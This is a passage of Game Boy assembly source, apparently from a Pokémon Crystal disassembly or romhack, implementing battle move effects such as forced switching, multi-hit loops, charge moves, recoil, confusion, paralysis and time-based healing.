add b
ld c, a
inc c
.random_loop_wild
call BattleRandom
cp c
jr nc, .random_loop_wild
srl b
srl b
cp b
jr nc, .wild_force_flee
.missed
jp .fail
.wild_force_flee
call UpdateBattleMonInParty
xor a
ld [wNumHits], a
inc a
ld [wForcedSwitch], a
call SetBattleDraw
ld a, [wPlayerMoveStructAnimation]
jp .succeed
.trainer
call FindAliveEnemyMons
jr c, .switch_fail
ld a, [wEnemySubStatus4]
bit SUBSTATUS_INGRAIN, a
jr nz, .switch_fail
ld a, [wEnemyGoesFirst]
and a
jr z, .switch_fail
call UpdateEnemyMonInParty
ld a, $1
ld [wKickCounter], a
call AnimateCurrentMove
ld c, $14
call DelayFrames
hlcoord 1, 0
lb bc, 4, 10
call ClearBox
ld c, 20
call DelayFrames
ld a, [wOTPartyCount]
ld b, a
ld a, [wCurOTMon]
ld c, a
; select a random enemy mon to switch to
.random_loop_trainer
call BattleRandom
and $7
cp b
jr nc, .random_loop_trainer
cp c
jr z, .random_loop_trainer
push af
push bc
ld hl, wOTPartyMon1HP
call GetPartyLocation
ld a, [hli]
or [hl]
pop bc
pop de
jr z, .random_loop_trainer
ld a, d
inc a
ld [wEnemySwitchMonIndex], a
callfar ForceEnemySwitch
ld hl, DraggedOutText
call StdBattleTextbox
ld hl, DoEntryHazards
jp CallBattleCore
.switch_fail
jp .fail
.force_player_switch
ld a, [wAttackMissed]
and a
jr nz, .player_miss
ld a, [wBattleMode]
dec a
jr nz, .vs_trainer
ld a, [wBattleMonLevel]
ld b, a
ld a, [wCurPartyLevel]
cp b
jr nc, .wild_succeed_playeristarget
add b
ld c, a
inc c
.wild_random_loop_playeristarget
call BattleRandom
cp c
jr nc, .wild_random_loop_playeristarget
srl b
srl b
cp b
jr nc, .wild_succeed_playeristarget
.player_miss
jr .fail
.wild_succeed_playeristarget
call UpdateBattleMonInParty
xor a
ld [wNumHits], a
inc a
ld [wForcedSwitch], a
call SetBattleDraw
ld a, [wEnemyMoveStructAnimation]
jr .succeed
.vs_trainer
call CheckPlayerHasMonToSwitchTo
jr c, .fail
ld a, [wPlayerSubStatus4]
bit SUBSTATUS_INGRAIN, a
jr nz, .fail
ld a, [wEnemyGoesFirst]
cp $1
jr z, .switch_fail
call UpdateBattleMonInParty
ld a, $1
ld [wKickCounter], a
call AnimateCurrentMove
ld c, 20
call DelayFrames
hlcoord 9, 7
lb bc, 5, 11
call ClearBox
ld c, 20
call DelayFrames
ld a, [wPartyCount]
ld b, a
ld a, [wCurBattleMon]
ld c, a
.random_loop_trainer_playeristarget
call BattleRandom
and $7
cp b
jr nc, .random_loop_trainer_playeristarget
cp c
jr z, .random_loop_trainer_playeristarget
push af
push bc
ld hl, wPartyMon1HP
call GetPartyLocation
ld a, [hli]
or [hl]
pop bc
pop de
jr z, .random_loop_trainer_playeristarget
ld a, d
ld [wCurPartyMon], a
ld hl, SwitchPlayerMon
call CallBattleCore
ld hl, DraggedOutText
call StdBattleTextbox
ld hl, DoEntryHazards
jp CallBattleCore
.fail
call BattleCommand_lowersub
call BattleCommand_movedelay
call BattleCommand_raisesub
jp PrintButItFailed
.succeed
push af
call SetBattleDraw
ld a, $1
ld [wKickCounter], a
call AnimateCurrentMove
ld c, 20
call DelayFrames
pop af
ld hl, FledInFearText
ld bc, ROAR
call CompareMove
jr z, .do_text
ld hl, BlownAwayText
.do_text
jp StdBattleTextbox
CheckPlayerHasMonToSwitchTo:
ld a, [wPartyCount]
ld d, a
ld e, 0
ld bc, PARTYMON_STRUCT_LENGTH
.loop
ld a, [wCurBattleMon]
cp e
jr z, .next
ld a, e
ld hl, wPartyMon1HP
call AddNTimes
ld a, [hli]
or [hl]
jr nz, .not_fainted
.next
inc e
dec d
jr nz, .loop
scf
ret
.not_fainted
and a
ret
BattleCommand_endloop:
; endloop
; Loop back to 'critical'.
ld de, wPlayerRolloutCount
ld bc, wPlayerDamageTaken
ldh a, [hBattleTurn]
and a
jr z, .got_addrs
ld de, wEnemyRolloutCount
ld bc, wEnemyDamageTaken
.got_addrs
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
bit SUBSTATUS_IN_LOOP, [hl]
jp nz, .in_loop
set SUBSTATUS_IN_LOOP, [hl]
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVarAddr
ld a, [hl]
cp EFFECT_POISON_MULTI_HIT
jr z, .twineedle
cp EFFECT_DOUBLE_HIT
ld a, 1
jr z, .double_hit
ld a, [hl]
cp EFFECT_BEAT_UP
jr z, .beat_up
cp EFFECT_TRIPLE_KICK
jr nz, .not_triple_kick
.reject_triple_kick_sample
call BattleRandom
and $3
jr z, .reject_triple_kick_sample
dec a
jr nz, .double_hit
ld a, 1
ld [bc], a
jr .done_loop
.beat_up
ldh a, [hBattleTurn]
and a
jr nz, .check_ot_beat_up
ld a, [wPartyCount]
cp 1
jp z, .only_one_beatup
dec a
jr .double_hit
.check_ot_beat_up
ld a, [wBattleMode]
cp WILD_BATTLE
jp z, .only_one_beatup
ld a, [wOTPartyCount]
cp 1
jp z, .only_one_beatup
dec a
jr .double_hit
.only_one_beatup
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
res SUBSTATUS_IN_LOOP, [hl]
call BattleCommand_beatupfailtext
jp EndMoveEffect
.not_triple_kick
call BattleRandom
and $3
cp 2
jr c, .got_number_hits
call BattleRandom
and $3
.got_number_hits
inc a
.double_hit
ld [de], a
inc a
ld [bc], a
jr .loop_back_to_critical
.twineedle
ld a, 1
jr .double_hit
.in_loop
ld a, [de]
dec a
ld [de], a
jr nz, .loop_back_to_critical
.done_loop
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
res SUBSTATUS_IN_LOOP, [hl]
ld hl, PlayerHitTimesText
ldh a, [hBattleTurn]
and a
jr z, .got_hit_n_times_text
ld hl, EnemyHitTimesText
.got_hit_n_times_text
push bc
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_BEAT_UP
jr z, .beat_up_2
call StdBattleTextbox
.beat_up_2
pop bc
xor a
ld [bc], a
ret
.loop_back_to_critical
ld a, [wBattleScriptBufferAddress + 1]
ld h, a
ld a, [wBattleScriptBufferAddress]
ld l, a
.not_critical
ld a, [hld]
cp critical_command
jr nz, .not_critical
inc hl
ld a, h
ld [wBattleScriptBufferAddress + 1], a
ld a, l
ld [wBattleScriptBufferAddress], a
ret
BattleCommand_fakeout:
ld hl, wPlayerTurnsTaken
ldh a, [hBattleTurn]
and a
jr z, .got_var
dec hl
.got_var
ld a, [hl]
cp 1
ret z
call AnimateFailedMove
call PrintButItFailed
jp EndMoveEffect
BattleCommand_flinchtarget:
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
and 1 << FRZ | SLP
ret nz
call CheckOpponentWentFirst
ret nz
ld a, [wEffectFailed]
and a
ret nz
; fallthrough
FlinchTarget:
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVarAddr
set SUBSTATUS_FLINCHED, [hl]
jp EndRechargeOpp
CheckOpponentWentFirst:
; Returns a=0, z if user went first
; Returns a=1, nz if opponent went first
push bc
ld a, [wEnemyGoesFirst] ; 0 if player went first
ld b, a
ldh a, [hBattleTurn] ; 0 if it's the player's turn
xor b ; 1 if opponent went first
pop bc
ret
BattleCommand_heldflinch:
; kingsrock
ld a, [wAttackMissed]
and a
ret nz
call GetUserItem
ld a, b
cp HELD_FLINCH
ret nz
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVarAddr
ld d, h
ld e, l
call GetUserItem
call BattleRandom
cp c
ret nc
call EndRechargeOpp
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVarAddr
set SUBSTATUS_FLINCHED, [hl]
ret
BattleCommand_ohko:
; ohko
call ResetDamage
ld a, [wTypeModifier]
and $7f
jr z, .no_effect
ld hl, wEnemyMonLevel
ld de, wBattleMonLevel
ld bc, wPlayerMoveStruct + MOVE_ACC
ldh a, [hBattleTurn]
and a
jr z, .got_move_accuracy
push hl
ld h, d
ld l, e
pop de
ld bc, wEnemyMoveStruct + MOVE_ACC
.got_move_accuracy
ld a, [de]
sub [hl]
jr c, .no_effect
add a
ld e, a
ld a, [bc]
add e
jr nc, .finish_ohko
ld a, $ff
.finish_ohko
ld [bc], a
call BattleCommand_checkhit
ld hl, wCurDamage
ld a, $ff
ld [hli], a
ld [hl], a
ld a, $2
ld [wCriticalHit], a
ret
.no_effect
ld a, $ff
ld [wCriticalHit], a
ld a, $1
ld [wAttackMissed], a
ret
BattleCommand_checkcharge:
; checkcharge
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
bit SUBSTATUS_CHARGED, [hl]
ret z
res SUBSTATUS_CHARGED, [hl]
res SUBSTATUS_UNDERGROUND, [hl]
res SUBSTATUS_FLYING, [hl]
call GetUserUnderwaterAddr
xor a
ld [hl], a
ld b, charge_command
jp SkipToBattleCommand
BattleCommand_charge:
; charge
call BattleCommand_cleartext
ld a, BATTLE_VARS_STATUS
call GetBattleVar
and SLP
jr z, .awake
call BattleCommand_movedelay
call BattleCommand_raisesub
call PrintButItFailed
jp EndMoveEffect
.awake
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
set SUBSTATUS_CHARGED, [hl]
ld hl, IgnoredOrders2Text
ld a, [wAlreadyDisobeyed]
and a
call nz, StdBattleTextbox
call BattleCommand_lowersub
xor a
ld [wNumHits], a
inc a
ld [wKickCounter], a
call LoadMoveAnim
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld h, a
ld bc, FLY
call CompareMove
ld a, 1 << SUBSTATUS_FLYING
jr z, .got_move_type
ld bc, BOUNCE
ld a, h
call CompareMove
ld a, 1 << SUBSTATUS_FLYING
jr z, .got_move_type
ld bc, DIG
ld a, h
call CompareMove
ld a, 1 << SUBSTATUS_UNDERGROUND
jr z, .got_move_type
ld bc, DIVE
ld a, h
call CompareMove
ld a, -1
jr z, .got_move_type
ld bc, SHADOW_FORCE
ld a, h
call CompareMove
ld a, -2
jr z, .got_move_type
call BattleCommand_raisesub
xor a
.got_move_type
; a will contain the substatus 3 bit to set (1 << bit), or 0 if none (not flying/digging underground), or $ff is underwater (special case), or $fe is using shadow force (special case 2)
cp -1
jr z, .underwater
cp -2
jr z, .shadow_force
and a
ld l, a
push hl
call nz, DisappearUser
jr .continue
.shadow_force
ld l, 0
push hl
farcall SetShadowForce
jr .continue
.underwater
ld l, 0
push hl
farcall SetUnderwater
.continue
ld a, BATTLE_VARS_SUBSTATUS3
call GetBattleVarAddr
pop bc
ld a, c
or [hl]
ld [hl], a
call CheckUserIsCharging
jr nz, .mimic
ld a, BATTLE_VARS_LAST_COUNTER_MOVE
call GetBattleVarAddr
ld [hl], b
ld a, BATTLE_VARS_LAST_MOVE
call GetBattleVarAddr
ld [hl], b
.mimic
call ResetDamage
ld hl, .UsedText
call BattleTextbox
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_SKULL_BASH
ld b, endturn_command
jp z, SkipToBattleCommand
jp EndMoveEffect
.UsedText:
text_far UnknownText_0x1c0d0e ; "<USER>"
text_asm
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
push bc
call GetMoveIndexFromID
ld b, h
ld c, l
ld de, 4
ld hl, .move_messages
call IsInHalfwordArray ; hl will point to the low byte of the found item
jr c, .found_text
ld hl, .move_messages
.found_text
inc hl
inc hl
ld a, [hli]
ld h, [hl]
ld l, a
pop bc
ret
.move_messages
dw RAZOR_WIND, .RazorWind
dw SOLARBEAM, .Solarbeam
dw SKULL_BASH, .SkullBash
dw SKY_ATTACK, .SkyAttack
dw FLY, .Fly
dw DIG, .Dig
dw BOUNCE, .Bounce
dw DIVE, .Dive
dw SHADOW_FORCE, .ShadowForce
dw -1
.RazorWind:
; 'made a whirlwind!'
text_far UnknownText_0x1c0d12
text_end
.Solarbeam:
; 'took in sunlight!'
text_far UnknownText_0x1c0d26
text_end
.SkullBash:
; 'lowered its head!'
text_far UnknownText_0x1c0d3a
text_end
.SkyAttack:
; 'is glowing!'
text_far UnknownText_0x1c0d4e
text_end
.Fly:
; 'flew up high!'
text_far UnknownText_0x1c0d5c
text_end
.Dig:
; 'dug a hole!'
text_far UnknownText_0x1c0d6c
text_end
.Bounce:
; 'sprang up!'
text_far _SprangUpText
text_end
.Dive:
text_far _HidUnderwaterText
text_end
.ShadowForce:
text_far _ShadowForceText
text_end
INCLUDE "engine/battle/move_effects/mist.asm"
INCLUDE "engine/battle/move_effects/focus_energy.asm"
BattleCommand_recoil:
; recoil
farcall2 ReadMoveScriptByte
push af
ld hl, wBattleMonMaxHP
ldh a, [hBattleTurn]
and a
jr z, .got_hp
ld hl, wEnemyMonMaxHP
.got_hp
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld d, a
pop af
; divide damage by parameter
ldh [hDivisor], a
xor a
ldh [hDividend], a
ldh [hDividend + 1], a
ld a, [wCurDamage]
ldh [hDividend + 2], a
ld a, [wCurDamage + 1]
ldh [hDividend + 3], a
ld b, 4
call Divide
ldh a, [hQuotient + 2]
ld b, a
ldh a, [hQuotient + 3]
ld c, a
; if recoil damage is 0, set to 1
ld a, b
or c
jr nz, .min_damage
inc c
.min_damage
ld a, [hli]
ld [wBuffer2], a
ld a, [hl]
ld [wBuffer1], a
dec hl
dec hl
ld a, [hl]
ld [wBuffer3], a
sub c
ld [hld], a
ld [wBuffer5], a
ld a, [hl]
ld [wBuffer4], a
sbc b
ld [hl], a
ld [wBuffer6], a
jr nc, .dont_ko
xor a
ld [hli], a
ld [hl], a
ld hl, wBuffer5
ld [hli], a
ld [hl], a
.dont_ko
hlcoord 10, 9
ldh a, [hBattleTurn]
and a
ld a, 1
jr z, .animate_hp_bar
hlcoord 2, 2
xor a
.animate_hp_bar
ld [wWhichHPBar], a
predef AnimateHPBar
call RefreshBattleHuds
ld hl, RecoilText
jp StdBattleTextbox
BattleCommand_confusetarget:
; confusetarget
call GetOpponentItem
ld a, b
cp HELD_PREVENT_CONFUSE
ret z
ld a, [wEffectFailed]
and a
ret nz
call SafeCheckSafeguard
ret nz
call CheckSubstituteOpp
ret nz
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVarAddr
bit SUBSTATUS_CONFUSED, [hl]
ret nz
jr BattleCommand_finishconfusingtarget
BattleCommand_confuse:
; confuse
call GetOpponentItem
ld a, b
cp HELD_PREVENT_CONFUSE
jr nz, .no_item_protection
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
call AnimateFailedMove
ld hl, ProtectedByText
jp StdBattleTextbox
.no_item_protection
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVarAddr
bit SUBSTATUS_CONFUSED, [hl]
jr z, .not_already_confused
call AnimateFailedMove
ld hl, AlreadyConfusedText
jp StdBattleTextbox
.not_already_confused
call CheckSubstituteOpp
jr nz, BattleCommand_confuse_checksnore_swagger_confusehit
ld a, [wAttackMissed]
and a
jr nz, BattleCommand_confuse_checksnore_swagger_confusehit
BattleCommand_finishconfusingtarget:
ld bc, wEnemyConfuseCount
ldh a, [hBattleTurn]
and a
jr z, .got_confuse_count
ld bc, wPlayerConfuseCount
.got_confuse_count
set SUBSTATUS_CONFUSED, [hl]
; confused for 2-5 turns
call BattleRandom
and %11
inc a
inc a
ld [bc], a
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_CONFUSE_HIT
jr z, .got_effect
cp EFFECT_SNORE
jr z, .got_effect
cp EFFECT_SWAGGER
jr z, .got_effect
cp EFFECT_FLATTER
jr z, .got_effect
call AnimateCurrentMove
.got_effect
ld de, ANIM_CONFUSED
call PlayOpponentBattleAnim
ld hl, BecameConfusedText
call StdBattleTextbox
call GetOpponentItem
ld a, b
cp HELD_HEAL_STATUS
jr z, .heal_confusion
cp HELD_HEAL_CONFUSION
ret nz
.heal_confusion
ld hl, UseConfusionHealingItem
jp CallBattleCore
BattleCommand_confuse_checksnore_swagger_confusehit:
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_CONFUSE_HIT
ret z
cp EFFECT_SNORE
ret z
cp EFFECT_SWAGGER
ret z
cp EFFECT_FLATTER
ret z
jp PrintDidntAffect2
BattleCommand_paralyze:
; paralyze
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVar
bit PAR, a
jr nz, .paralyzed
ld a, [wTypeModifier]
and $7f
jr z, .didnt_affect
call GetOpponentItem
ld a, b
cp HELD_PREVENT_PARALYZE
jr nz, .no_item_protection
ld a, [hl]
ld [wNamedObjectIndexBuffer], a
call GetItemName
call AnimateFailedMove
ld hl, ProtectedByText
jp StdBattleTextbox
.no_item_protection
ldh a, [hBattleTurn]
and a
jr z, .dont_sample_failure
ld a, [wLinkMode]
and a
jr nz, .dont_sample_failure
ld a, [wInBattleTowerBattle]
and a
jr nz, .dont_sample_failure
ld a, [wPlayerSubStatus5]
bit SUBSTATUS_LOCK_ON, a
jr nz, .dont_sample_failure
call BattleRandom
cp 25 percent + 1 ; 25% chance AI fails
jr c, .failed
.dont_sample_failure
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
and a
jr nz, .failed
ld a, [wAttackMissed]
and a
jr nz, .failed
call CheckSubstituteOpp
jr nz, .failed
ld c, 30
call DelayFrames
call AnimateCurrentMove
ld a, $1
ldh [hBGMapMode], a
ld a, BATTLE_VARS_STATUS_OPP
call GetBattleVarAddr
set PAR, [hl]
call UpdateOpponentInParty
ld hl, ApplyPrzEffectOnSpeed
call CallBattleCore
call UpdateBattleHuds
call PrintParalyze
ld hl, UseHeldStatusHealingItem
jp CallBattleCore
.paralyzed
call AnimateFailedMove
ld hl, AlreadyParalyzedText
jp StdBattleTextbox
.failed
jp PrintDidntAffect2
.didnt_affect
call AnimateFailedMove
jp PrintDoesntAffect
CheckMoveTypeMatchesTarget:
; Compare move type to opponent type.
; Return z if matching the opponent type,
; unless the move is Normal (Tri Attack).
push hl
ld hl, wEnemyMonType1
ldh a, [hBattleTurn]
and a
jr z, .ok
ld hl, wBattleMonType1
.ok
call GetCurrentMoveType2
cp NORMAL
jr z, .normal
cp [hl]
jr z, .return
inc hl
cp [hl]
.return
pop hl
ret
.normal
ld a, 1
and a
pop hl
ret
INCLUDE "engine/battle/move_effects/substitute.asm"
BattleCommand_rechargenextturn:
; rechargenextturn
ld a, BATTLE_VARS_SUBSTATUS4
call GetBattleVarAddr
set SUBSTATUS_RECHARGE, [hl]
ret
EndRechargeOpp:
push hl
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVarAddr
res SUBSTATUS_RECHARGE, [hl]
pop hl
ret
INCLUDE "engine/battle/move_effects/rage.asm"
BattleCommand_doubleflyingdamage:
; doubleflyingdamage
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
bit SUBSTATUS_FLYING, a
ret z
jr DoubleDamage
BattleCommand_doubleunderwaterdamage:
call GetOppUnderwaterAddr
ld a, [hl]
cp 1
ret nz
jr DoubleDamage
BattleCommand_doubleundergrounddamage:
; doubleundergrounddamage
ld a, BATTLE_VARS_SUBSTATUS3_OPP
call GetBattleVar
bit SUBSTATUS_UNDERGROUND, a
ret z
; fallthrough
DoubleDamage:
ld hl, wCurDamage + 1
sla [hl]
dec hl
rl [hl]
jr nc, .quit
ld a, $ff
ld [hli], a
ld [hl], a
.quit
ret
INCLUDE "engine/battle/move_effects/mimic.asm"
INCLUDE "engine/battle/move_effects/leech_seed.asm"
INCLUDE "engine/battle/move_effects/splash.asm"
INCLUDE "engine/battle/move_effects/disable.asm"
INCLUDE "engine/battle/move_effects/pay_day.asm"
INCLUDE "engine/battle/move_effects/conversion.asm"
BattleCommand_resetstats:
; resetstats
ld a, 7 ; neutral
ld hl, wPlayerStatLevels
call .Fill
ld hl, wEnemyStatLevels
call .Fill
ldh a, [hBattleTurn]
push af
call SetPlayerTurn
call CalcPlayerStats
call SetEnemyTurn
call CalcEnemyStats
pop af
ldh [hBattleTurn], a
call AnimateCurrentMove
ld hl, EliminatedStatsText
jp StdBattleTextbox
.Fill:
ld b, wPlayerStatLevelsEnd - wPlayerStatLevels
.next
ld [hli], a
dec b
jr nz, .next
ret
BattleCommand_heal:
; heal
ld de, wBattleMonHP
ld hl, wBattleMonMaxHP
ldh a, [hBattleTurn]
and a
jr z, .got_hp
ld de, wEnemyMonHP
ld hl, wEnemyMonMaxHP
.got_hp
ld a, BATTLE_VARS_MOVE_ANIM
call GetBattleVar
ld b, a
push hl
push de
push bc
ld c, 2
call CompareBytes
pop bc
pop de
pop hl
jp z, .hp_full
ld a, b
ld bc, ROOST
call CompareMove
jr nz, .not_roost
ldh a, [hBattleTurn]
and a
ld bc, wPlayerRoost
jr z, .roost_turn
ld bc, wEnemyRoost
.roost_turn
ld a, 1
ld [bc], a
.not_roost
ld bc, REST
call CompareMove
jr nz, .not_rest
push hl
push de
push af
call BattleCommand_movedelay
ld a, BATTLE_VARS_SUBSTATUS5
call GetBattleVarAddr
res SUBSTATUS_TOXIC, [hl]
ld a, BATTLE_VARS_STATUS
call GetBattleVarAddr
ld a, [hl]
and a
ld [hl], REST_SLEEP_TURNS + 1
ld hl, WentToSleepText
jr z, .no_status_to_heal
ld hl, RestedText
.no_status_to_heal
call StdBattleTextbox
ldh a, [hBattleTurn]
and a
jr nz, .calc_enemy_stats
call CalcPlayerStats
jr .got_stats
.calc_enemy_stats
call CalcEnemyStats
.got_stats
pop af
pop de
pop hl
.not_rest
jr z, .restore_full_hp
ld hl, GetHalfMaxHP
call CallBattleCore
jr .finish
.restore_full_hp
ld hl, GetMaxHP
call CallBattleCore
.finish
call AnimateCurrentMove
call BattleCommand_switchturn
ld hl, RestoreHP
call CallBattleCore
call BattleCommand_switchturn
call UpdateUserInParty
call RefreshBattleHuds
ld hl, RegainedHealthText
jp StdBattleTextbox
.hp_full
call AnimateFailedMove
ld hl, HPIsFullText
jp StdBattleTextbox
INCLUDE "engine/battle/move_effects/transform.asm"
BattleEffect_ButItFailed:
call AnimateFailedMove
jp PrintButItFailed
ClearLastMove:
ld a, BATTLE_VARS_LAST_COUNTER_MOVE
call GetBattleVarAddr
xor a
ld [hl], a
ld a, BATTLE_VARS_LAST_MOVE
call GetBattleVarAddr
xor a
ld [hl], a
ret
ResetActorDisable:
ldh a, [hBattleTurn]
and a
jr z, .player
xor a
ld [wEnemyDisableCount], a
ld [wEnemyDisabledMove], a
ret
.player
xor a
ld [wPlayerDisableCount], a
ld [wDisabledMove], a
ret
BattleCommand_screen:
; screen
ld hl, wPlayerScreens
ld bc, wPlayerLightScreenCount
ldh a, [hBattleTurn]
and a
jr z, .got_screens_pointer
ld hl, wEnemyScreens
ld bc, wEnemyLightScreenCount
.got_screens_pointer
ld a, BATTLE_VARS_MOVE_EFFECT
call GetBattleVar
cp EFFECT_LIGHT_SCREEN
jr nz, .Reflect
bit SCREENS_LIGHT_SCREEN, [hl]
jr nz, .failed
set SCREENS_LIGHT_SCREEN, [hl]
ld a, 5
ld [bc], a
ld hl, LightScreenEffectText
jr .good
.Reflect:
bit SCREENS_REFLECT, [hl]
jr nz, .failed
set SCREENS_REFLECT, [hl]
; LightScreenCount -> ReflectCount
inc bc
ld a, 5
ld [bc], a
ld hl, ReflectEffectText
.good
call AnimateCurrentMove
jp StdBattleTextbox
.failed
call AnimateFailedMove
jp PrintButItFailed
PrintDoesntAffect:
; 'it doesn't affect'
ld hl, DoesntAffectText
jp StdBattleTextbox
PrintNothingHappened:
; 'but nothing happened!'
ld hl, NothingHappenedText
jp StdBattleTextbox
TryPrintButItFailed:
ld a, [wAlreadyFailed]
and a
ret nz
; fallthrough
_PrintButItFailed:
; 'but it failed!'
jp PrintButItFailed
AnimateAndPrintFailedMove:
call AnimateFailedMove
jp PrintButItFailed
FailMove:
call AnimateFailedMove
; fallthrough
FailMimic:
ld hl, ButItFailedText ; 'but it failed!'
ld de, ItFailedText ; 'it failed!'
jp FailText_CheckOpponentProtect
PrintDidntAffect:
; 'it didn't affect'
ld hl, DidntAffect1Text
jp StdBattleTextbox
PrintDidntAffect2:
call AnimateFailedMove
ld hl, DidntAffect1Text ; 'it didn't affect'
ld de, DidntAffect2Text ; 'it didn't affect'
jp FailText_CheckOpponentProtect
PrintParalyze:
; 'paralyzed! maybe it can't attack!'
ld hl, ParalyzedText
jp StdBattleTextbox
CheckSubstituteOpp:
ld a, BATTLE_VARS_SUBSTATUS4_OPP
call GetBattleVar
bit SUBSTATUS_SUBSTITUTE, a
ret
INCLUDE "engine/battle/move_effects/selfdestruct.asm"
INCLUDE "engine/battle/move_effects/mirror_move.asm"
INCLUDE "engine/battle/move_effects/metronome.asm"
CheckUserMove:
; Return z if the user has move a.
ld b, a
ld de, wBattleMonMoves
ldh a, [hBattleTurn]
and a
jr z, .ok
ld de, wEnemyMonMoves
.ok
ld c, NUM_MOVES
.loop
ld a, [de]
inc de
cp b
ret z
dec c
jr nz, .loop
ld a, 1
and a
ret
ResetTurn:
ld hl, wPlayerCharging
ldh a, [hBattleTurn]
and a
jr z, .player
ld hl, wEnemyCharging
.player
ld [hl], 1
xor a
ld [wAlreadyDisobeyed], a
call DoMove
jp EndMoveEffect
INCLUDE "engine/battle/move_effects/thief.asm"
BattleCommand_arenatrap:
; arenatrap
; Doesn't work on an absent opponent.
call CheckHiddenOpponent
jr nz, .failed
; Don't trap if the opponent is already trapped.
ld a, BATTLE_VARS_SUBSTATUS5
call GetBattleVarAddr
bit SUBSTATUS_CANT_RUN, [hl]
jr nz, .failed
; Otherwise trap the opponent.
set SUBSTATUS_CANT_RUN, [hl]
call AnimateCurrentMove
ld hl, CantEscapeNowText
jp StdBattleTextbox
.failed
call AnimateFailedMove
jp PrintButItFailed
INCLUDE "engine/battle/move_effects/nightmare.asm"
BattleCommand_defrost:
; defrost
; Thaw the user.
ld a, BATTLE_VARS_STATUS
call GetBattleVarAddr
bit FRZ, [hl]
ret z
res FRZ, [hl]
; Don't update the enemy's party struct in a wild battle.
ldh a, [hBattleTurn]
and a
jr z, .party
ld a, [wBattleMode]
dec a
jr z, .done
.party
ld a, MON_STATUS
call UserPartyAttr
res FRZ, [hl]
.done
call RefreshBattleHuds
ld hl, WasDefrostedText
jp StdBattleTextbox
INCLUDE "engine/battle/move_effects/curse.asm"
INCLUDE "engine/battle/move_effects/protect.asm"
INCLUDE "engine/battle/move_effects/endure.asm"
INCLUDE "engine/battle/move_effects/foresight.asm"
INCLUDE "engine/battle/move_effects/perish_song.asm"
INCLUDE "engine/battle/move_effects/rollout.asm"
INCLUDE "engine/battle/move_effects/fury_cutter.asm"
INCLUDE "engine/battle/move_effects/attract.asm"
INCLUDE "engine/battle/move_effects/return.asm"
INCLUDE "engine/battle/move_effects/present.asm"
INCLUDE "engine/battle/move_effects/frustration.asm"
INCLUDE "engine/battle/move_effects/safeguard.asm"
SafeCheckSafeguard:
push hl
ld hl, wEnemyScreens
ldh a, [hBattleTurn]
and a
jr z, .got_turn
ld hl, wPlayerScreens
.got_turn
bit SCREENS_SAFEGUARD, [hl]
pop hl
ret
BattleCommand_checksafeguard:
; checksafeguard
ld hl, wEnemyScreens
ldh a, [hBattleTurn]
and a
jr z, .got_turn
ld hl, wPlayerScreens
.got_turn
bit SCREENS_SAFEGUARD, [hl]
ret z
ld a, 1
ld [wAttackMissed], a
call BattleCommand_movedelay
ld hl, SafeguardProtectText
call StdBattleTextbox
jp EndMoveEffect
INCLUDE "engine/battle/move_effects/baton_pass.asm"
INCLUDE "engine/battle/move_effects/pursuit.asm"
INCLUDE "engine/battle/move_effects/rapid_spin.asm"
BattleCommand_healmorn:
; healmorn
ld b, MORN_F
jr BattleCommand_timebasedhealcontinue
BattleCommand_healday:
; healday
ld b, DAY_F
jr BattleCommand_timebasedhealcontinue
BattleCommand_healnite:
; healnite
ld b, NITE_F
; fallthrough
BattleCommand_timebasedhealcontinue:
; Time- and weather-sensitive heal.
ld hl, wBattleMonMaxHP
ld de, wBattleMonHP
ldh a, [hBattleTurn]
and a
jr z, .start
ld hl, wEnemyMonMaxHP
ld de, wEnemyMonHP
.start
; Index for .Multipliers
; Default restores half max HP.
ld c, 2
; Don't bother healing if HP is already full.
push bc
call CompareBytes
pop bc
jr z, .Full
; Don't factor in time of day in link battles.
ld a, [wLinkMode]
and a
jr nz, .Weather
ld a, [wTimeOfDay]
cp b
jr z, .Weather
dec c ; double
.Weather:
ld a, [wBattleWeather]
and a
jr z, .Heal
; x2 in sun
; /2 in rain/sandstorm
inc c
cp WEATHER_SUN
jr z, .Heal
dec c
dec c
.Heal:
ld b, 0
ld hl, .Multipliers
add hl, bc
add hl, bc
ld a, [hli]
ld h, [hl]
ld l, a
ld a, BANK(GetMaxHP)
rst FarCall
call AnimateCurrentMove
call BattleCommand_switchturn
callfar RestoreHP
call BattleCommand_switchturn
call UpdateUserInParty
; 'regained health!'
ld hl, RegainedHealthText
jp StdBattleTextbox
.Full:
call AnimateFailedMove
; 'hp is full!'
ld hl, HPIsFullText
jp StdBattleTextbox
.Multipliers:
dw GetEighthMaxHP
dw GetQuarterMaxHP
dw GetHalfMaxHP
dw GetMaxHP
INCLUDE "engine/battle/move_effects/hidden_power.asm"
INCLUDE "engine/battle/move_effects/belly_drum.asm"
INCLUDE "engine/battle/move_effects/psych_up.asm"
INCLUDE "engine/battle/move_effects/mirror_coat.asm"
BattleCommand_starthail:
; starthail
ld b, WEATHER_HAIL
ld hl, StartedToHailText
jr Battle_StartWeather
BattleCommand_startsun:
; startsun
ld b, WEATHER_SUN
ld hl, SunGotBrightText
